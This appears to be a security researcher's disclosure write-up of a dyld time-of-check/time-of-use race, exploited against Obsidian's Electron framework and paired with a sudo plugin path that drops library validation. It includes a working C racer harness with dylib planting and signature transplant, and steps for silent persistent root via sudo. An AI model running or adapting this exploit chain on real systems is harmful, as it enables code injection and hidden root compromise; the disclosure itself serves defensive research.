Introduction

“This demonstrates no impact other than the local user.”

🤔

Hmmmm….
I mean technically; this is all intended behavior.

I’ve spent the past few weeks working with dyld. Not only getting it to build, but exploiting it. This article details an ASB submission that was rejected, alongside one that would be likely be rejected under the same pretenses.

In dyld’s mapFileReadOnly, we have this piece of code:

   // Line 700: stat the path — gets metadata of file A
   struct stat statbuf;
   if ( this->stat(path, &statbuf) == -1 ) {
       // error handling
       return nullptr;
   }

   // Line 712: check for tombstone
   if ( statbuf.st_size == 0 )
       return nullptr;

   // Line 715: open the SAME path — but may now be file B
   int fd = this->open(path, O_RDONLY, 0);
   if ( fd < 0 ) {
       // error handling
       return nullptr;
   }

   // Line 725: mmap file B using file A's size
   const void* result = ::mmap(nullptr, (size_t)statbuf.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

This allows a very tiny window to race and replace the stat’d file. macOS is strict with code signatures; not every application would be vulnerable to this. However, we find a novel target - (some) applications leveraging Electron.framework. This is due to lax codesigning - the application runs with the Hardened Runtime but usually has the disable-library-validation entitlement, making it ripe for the picking.

Given the uptick of macOS adoption for local AI, supply chain attacks, and vibe coding, we do not find this exploitation scenario a small threat. Note that this race window is extremely small. To achieve it, one must achieve very quick execution between swapping files.

Exploit Chain

This sufficiently works when paired with the still unpatched Rotten Apples vulnerability on systems with SIP and AMFI enabled. In conjunction with a to-be-patched dyld vulnerability, things can escalate pretty quickly.

Our target application is Obsidian. A nice notetaking Markdown application, though you could trivially find applications all across the casual macOS user’s system that are vulnerable, including web browsers - granted, they aren’t using Electron, but they’ll still have the same Hardened Runtime + CS_REQUIRE_LV = 0 issue, or some variation of it.

We will also demonstrate against sudo as well, due to it having an… interesting code path, only present in the Apple binary.

Under the assumption the user is compromised and we have user-level control of the account, we can write to the Obsidian directory. Namely, we can create our .EF_Evil dylib which will swap out for Obsidian’s Electron Framework binary. We demonstrate successful exploitation by writing out a file to /tmp/. Not very exciting, but it works.

➜ cat /tmp/.obsidian_pwned
PLANTED DYLIB LOADED IN OBSIDIAN

How do we get here though, exactly? First of all in our chain is the to-be-disclosed dyld vulnerability. We forge a malicious dylib. Second of all we use the Rotten Apples vulnerability to prevent system policy, AMFI, SIP, anything from getting in our way. After constructing our malicious dylib, we construct the actual racer:

#define SYS_renamex_np 0x200001ee
#define RENAME_SWAP_FLAG 2

static inline int raw_swap(const char *a, const char *b) {
    register long x0 __asm__("x0") = (long)a;
    register long x1 __asm__("x1") = (long)b;
    register long x2 __asm__("x2") = RENAME_SWAP_FLAG;
    register long x16 __asm__("x16") = SYS_renamex_np;
    __asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x1),"r"(x2),"r"(x16) : "memory","cc");
    return (int)x0;
}

static volatile int racing = 1;
static volatile long swaps = 0;

/*
 * Single racer thread. Each raw_swap atomically exchanges
 * FW_BIN <-> .EF_evil so the path is never absent.
 */
#define FW_EVIL FW_DIR "/.EF_evil"

static void *racer(void *arg) {
    (void)arg; long n = 0;
    while (__builtin_expect(racing, 1)) {
        raw_swap(FW_BIN, FW_EVIL);
        raw_swap(FW_BIN, FW_EVIL);
        raw_swap(FW_BIN, FW_EVIL);
        raw_swap(FW_BIN, FW_EVIL);
        n += 4;
    }
    __sync_fetch_and_add(&swaps, n);
    return NULL;
}
Sorry Kumu, this is faster than Rust.

Our main looks something like this.

static void wf(const char *p, const uint8_t *d, size_t n) {
    int fd = open(p, O_WRONLY|O_CREAT|O_TRUNC, 0755); write(fd,d,n); close(fd);
}

int main(void) {

    struct stat sb;
    if (stat(FW_BIN, &sb)) { fprintf(stderr, "Obsidian not found.\n"); return 1; }
    printf("[1] Target: %s (%lld bytes)\n\n", FW_BIN, sb.st_size);

    /* Generate evil dylib */
    printf("[2] Generating evil dylib...\n");
    size_t bsz = LE_FOFF + PG;
    uint8_t *buf = calloc(1, bsz);
    size_t fsz = gen_evil(buf, bsz);
    wf(EVIL_PATH, buf, fsz);
    free(buf);
    printf("    %s (%zu bytes)\n\n", EVIL_PATH, fsz);

    /* Transplant code signature from real Electron Framework */
    printf("[3] Rotten Apples: signature transplant\n");
    if (transplant_codesig(EVIL_PATH, FW_BIN) < 0)
        return 0;

    /* Setup: FW_BIN = real framework, FW_EVIL = evil dylib.
     * Both must be regular files (not symlinks) for RENAME_SWAP. */
    printf("[4] Setting up race files...\n");
    if (stat(FW_BACKUP, &sb) == 0) {
        printf("    Backup exists.\n");
    } else {
        /* Copy real framework to backup (keep original in place) */
        { pid_t p; int st;
          char *av[]={"cp","-p",FW_BIN,FW_BACKUP,NULL};
          posix_spawn(&p,"/bin/cp",NULL,NULL,av,environ); waitpid(p,&st,0); }
        printf("    Backed up to %s\n", FW_BACKUP);
    }
    /* Copy evil dylib into the framework dir as .EF_evil */
    { pid_t p; int st;
      char *av[]={"cp","-f",EVIL_PATH,FW_EVIL,NULL};
      posix_spawn(&p,"/bin/cp",NULL,NULL,av,environ); waitpid(p,&st,0); }
    printf("    Evil planted at %s\n", FW_EVIL);
    printf("    Race: RENAME_SWAP(%s, %s)\n\n", FW_BIN, FW_EVIL);

    system("pkill -9 -f Obsidian 2>/dev/null");
    usleep(500000);
    unlink(MARKER);

    /* Start racer */
    printf("[5] Starting racer...\n");
    pthread_t rt;
    pthread_create(&rt, NULL, racer, NULL);

    /* Launch loop */
    printf("[6] Launching Obsidian (%d iterations)...\n\n", ITERATIONS);
    int hits = 0, ok = 0, fail = 0;

    posix_spawn_file_actions_t fa;
    posix_spawn_file_actions_init(&fa);
    posix_spawn_file_actions_addopen(&fa, STDOUT_FILENO, "/dev/null", O_WRONLY, 0);
    posix_spawn_file_actions_addopen(&fa, STDERR_FILENO, "/dev/null", O_WRONLY, 0);

    for (int i = 0; i < ITERATIONS; i++) {
        pid_t pid;
        char *av[] = { "Obsidian", NULL };
        if (posix_spawn(&pid, APP_PATH "/Contents/MacOS/Obsidian",
                        &fa, NULL, av, environ) != 0)
            { fail++; continue; }

        usleep(80000);
        kill(pid, SIGKILL);
        int st; waitpid(pid, &st, 0);
        if (WIFSIGNALED(st)) ok++; else fail++;

        if (access(MARKER, F_OK) == 0) {
            hits++;
            if (hits == 1) {
                printf("  *** TOCTOU HIT — iter %d, %ld swaps ***\n", i, swaps);
                char mb[256]={0}; int mfd=open(MARKER,O_RDONLY);
                if (mfd>=0){read(mfd,mb,255);close(mfd);}
                printf("  Marker: %s\n", mb);
            }
            unlink(MARKER);
        }

        if (i && (i%200==0))
            printf("  [%d/%d] hits=%d swaps=%ld\n", i, ITERATIONS, hits, swaps);
    }

    posix_spawn_file_actions_destroy(&fa);
    racing = 0;
    pthread_join(rt, NULL);

}

And let the races begin.

This is a specialized harness built for Obsidian and we can observe the results at runtime. As a proof of concept, it’ll continually launch and relaunch Obsidian which isn’t ideal. Let’s look at another target which conspicuously suffers from a similar set of circumstances.

Sudo Exploitation

To exploit sudo, we require root, which makes it something of a non-issue. However, given the vulnerability otherwise does not requires superuser privileges, if you are in a scenario in which you can execute a program with sudo, you have a route to persistent uid=0.

Note that this is all dependent on it being Apple’s sudo. It’s built upon their own deck of cards, namely entitlements; and the Hardened Runtime.

Exploitation flow is as follows:

  1. Compromised account writes file containing malicious to /etc/sudoers.conf (/etc/ is not world-writable since God-knows-when, must attain root somehow. sudoers.conf does not exist by default on macOS.)
  2. Malicious plugin simultaneously written to PLUGIN_DIR
  3. Malicious binary is executed as root or with sudo
  4. sudo notices that there’s a plugin, checks it’s code signature. It has one but doesn’t match. Drops library validation.
  5. sudo loads malicious plugin.
  6. ???
  7. Profit.

This is due to a few lines of code in Apple’s sudo fork that will cause it to drop the CS_ENABLE_LV bit via a special entitlement it has.

sudo_dso.c

File: sudo/lib/util/sudo_dso.c:302-328 (guarded by __APPLE_DYNAMIC_LV__, which is defined in sudo.xcodeproj/project.pbxproj:4841).

#ifdef __APPLE_DYNAMIC_LV__
    if (ret == NULL && faccessat(AT_FDCWD, path, R_OK, AT_EACCESS) == 0) {
        /* exists and readable but dlopen failed → disable LV and retry */
        ...
        rv = csops(pid, CS_OPS_CLEAR_LV, NULL, 0);
        ...
        ret = dlopen(path, flags);

The sudo binary is granted com.apple.private.security.clear-library-validation in sudo-entitlements.plist specifically so this code path can succeed. On any dlopen failure for a readable binary with a valid code signature, including ad-hoc, sudo downgrades the whole process from library-validation-enforced to unvalidated, then retries. If the retry succeeds, LV is not re-enabled; only the failure path restores it (csops(CS_OPS_SET_STATUS, CS_REQUIRE_LV) at :325).

This leads to a path for persistent root access on macOS, given the file at /etc/sudoers.conf (which most users will never check for, or tamper with) can specify a set plugin directory. Our only limitation is SIP. Bring your own SIP bypass, and the user won’t even be able to remove the malicious sudo plugin. The sudo plugin executes silently each time sudo does; so unless the user has a firewall plugin like Little Snitch, you’re hidden.

Conclusions

The point of the Hardened Runtime on macOS is specifically to deny, amongst other things, library injection or hijacking. Having CS_REQUIRE_LVon your application be 0; or otherwise unenforced, opens it up to attacks like this, which result in a compromise of application integrity and in the case of sudo, for an attacker that only has one chance at uid=0, a way to come back.

Enabling library validation is the easiest way to protect yourself. As for the logic bug in sudo (and su)? We’ll see if Apple fixes it.

Questions

Why does sudo have that code path?

Why is __APPLE_DYNAMIC_LV__ an Apple private entitlement?